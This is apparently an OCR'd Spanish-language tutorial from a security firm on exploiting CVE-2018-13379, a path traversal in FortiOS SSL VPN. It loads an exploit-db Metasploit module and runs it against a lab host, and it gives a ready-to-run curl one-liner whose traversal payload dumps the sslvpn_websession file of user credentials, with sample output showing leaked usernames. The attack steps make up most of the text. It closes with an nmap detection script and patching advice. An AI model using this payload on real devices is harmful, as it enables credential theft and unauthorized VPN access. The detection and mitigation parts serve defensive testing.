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DESCRIPCION DEL CVE-2018-13379

La explotacion del CVE-2018-13379 se debe a una falla en el filtrado de caracteres permitidos en la URL
a un directorio restringido, en el portal web de SSL VPN permite que un atacante no autenticado
descargue archivos del sistema a través de solicitudes HTTP personalizadas (PATH TRAVERSAL).

La vulnerabilidad se puede explotar consultando de forma especifica el archivo
“dev/cmdb/sslvpn_websession” el cual contiene credenciales de usuarios con privilegios de conexién a
VPN sin autenticacion previa.

La vulnerabilidad fue publicada por Fortinet el 24 de mayo de 2019 y tiene asignados 4 de 5 puntos
como nivel de riesgo.

VERSIONES AFECTADAS

e FortiOS 6.0.0 a 6.0.4 con SSL VPN habilitado.
e FortiOS 5.6.3 a 5.6.7 con SSL VPN habilitado.

METODO DE EXPLOTACION

Para explotar el CVE-2018-13379 utilizaremos los siguientes recursos:

e Metasploit.
e Exploit: https://www.exploit-db.com/exploits/47287
e Fortigate 30E 6.0.3.
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EXPLOTACION CON METASPLOIT

Primeramente es necesario agregar el modulo de explotaciéon a metasploit lo podemos obtener de
https://www.exploit-db.com/exploits/47287

FortiOS 5.6.3 - 5.6.7 / FortiOS 6.0.0 - 6.0.4 - Credentials Disclosure (Metasploit) |
EDB-ID: CVE: Author: Type: Platform: Date: Become a Certified Penctration Tester
201813379 CARLOS E. VIEIRA WEBAPPS. HARDWARE Enrol d Web.
(osve
EDB Verified: x Exploit: + / {} Vulnerable App:

" name=CVE-2018-13379

Para agregarlo a metasploit, entramos a nuestra carpeta /root/.msf4/modules y creamos una carpeta
llamada “exploits” y dentro de esa otra llamada “webapps” para mantener una buena organizacién de
nuestros archivos.

Ejecutamos el siguiente comando:

curl 'https://www.exploit-db.com/download/47287' -o
/root/.msf4/modules/exploits/webapps/Fortigate.rb

Abrimos nuestra consola de metasploit con el comando msfconsole y después ejecutamos el comando
updatedb para actualizar nuestra base de datos de mddulos.
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Para cargar el exploit a la consola escribimos use exploit/webapps/Fortigate

https://metasploit.com

68 auxiliary - 329 post
[ 547 payloads - 44 encoders - 10 nops
--=[ 2 evasion

msf5 > updatedb
[*] exec: updatedb

msf5 > use exploit/webapps/Fortigate
msf5 auxiliary( ) > 11

Establecemos las opciones de nuestro target de la siguiente forma:

msf5 auxiliary(webapps/Fortigate) > set RHOSTS 10.0.1.99
msf5 auxiliary(webapps/Fortigate) > set RPORT 8443

msf5 auxiliary( ) > set RHOSTS 10.0.1.99
RHOSTS => 10.0.1.99
msf5 auxiliary( ) > set RPORT 8443

RPORT => 8443
msf5 auxiliary( I |
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Al correrlo veremos como la informacion confidencial del servidor Fortigate siendo mostrada en consola

msf5 auxiliary( ) > run
Running module against 10.0.1.99

Checking target...
Target is Vulnerable!
Parsing binary file
var fgt lang = .

followme@alejandrocovrr
Guest-group

[*] Auxiliary module execution completed
msf5 auxiliary( I |

EXPLOTACION MANUAL

Para hacer el ataque sin uso de metasploit se puede correr el exploit de manera raw con curl con el
siguiente comando:

curl https://10.0.1.99:8443/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession -k -s
--output test.txt && cat test.txt

e Url del host vulnerable -> https://10.0.1.99:8443/remote/

e Parametro vulnerable que permite el path traversal -> fgt_lang?lang=

e Payload que ejecuta el path traversal -> /../../../..//////////

e Archivo que contiene la informacién confidencial del servidor ->
dev/cmdb/sslvpn_websession

e Estas flags indican lo siguiente: -k es ignorar el ssl, -s es el modo silencioso de curly -0 es
indicar que el ouput (al ser de un binario e ilegible para la consola) se guarde en un archivo
-k -s --output test.txt

e Indicar que al final de ejecutar el exploit, muestre en consola el output del archivo creado
&& cat test.txt

:~/.msfa/modules/exploits# curl https://10.0.1.99:8443/remote/fgt lang?la
ng=/../../../..//////////dev/cmdb/sslvpn websession -k -s --output test.txt && cat test
Ltxt

var fgt lang =
j 1Px366 16 16 110.0.1.39afloresfollowme@alejandrocovrrGuest-groupfull-accessrootméG
:~/.msf4/modules/exploits#
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PRUEBA SI TU FORTIGATE ES VULNERABLE

Para probar si un host es vulnerable o no utilizaremos el script desarrollado por el equipo de R&D de
Purple Security lo puedes obtener del repositorio oficial de Purple Security.

e https://github.com/purplesecmx/nmapscripts/blob/master/CVE-2018-13379.nse

Lo agregamos a nuestro nmap con el siguiente comando:

wget https://raw.githubusercontent.com/purplesecmx/nmapscripts/master/CVE-2018-13379.nse  -P
/Jusr/share/nmap/scripts/

Ejecutamos el script de la siguiente forma:

e Sintaxis: nmap -Pn --script CVE-2018-13379 -p <port> <host>
e Ejemplo: nmap -Pn --script CVE-2018-13379 -p 8443 10.0.1.99

root@alejandro: ~ e ® O
File Edit View Search Terminal Tabs Help

root@ale.. X root@ale.. X root@ale.. X root@ale.. X | root@ale.. X | root@ale.. X [ ~

Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-23 15:20 CDT
Nmap scan report for 10.0.1.99
Host is up (0.0082s latency).

PORT STATE SERVICE

8443/tcp open https-alt

| CVE-2018-13379:

| Host is vulnerable to CVE-2018-13379 (Fortinet SSL VPN)

|

Path traversal: https://10.0.1.99:8443/remote/fgt lang?lang=/../../../..//////////d
ev/cmdb/sslvpn_websession
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379
| https://nvd.nist.gov/vuln/detail/CVE-2018-13379
| https://fortiguard.com/psirt/FG-IR-18-384
| https://www.securityfocus.com/bid/108693/

Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds

El output nos muestra si el host asignado es vulnerable o no.

PREVENCION Y ALTERNATIVAS

1. Actualizar a la version de FortiOS 5.6.8, 6.0.5, 6.2.0.

2. Como una solucion temporal se recomienda deshabilitar el servicio de VPN SSL hasta actualizar la
versioén del dispositivo.
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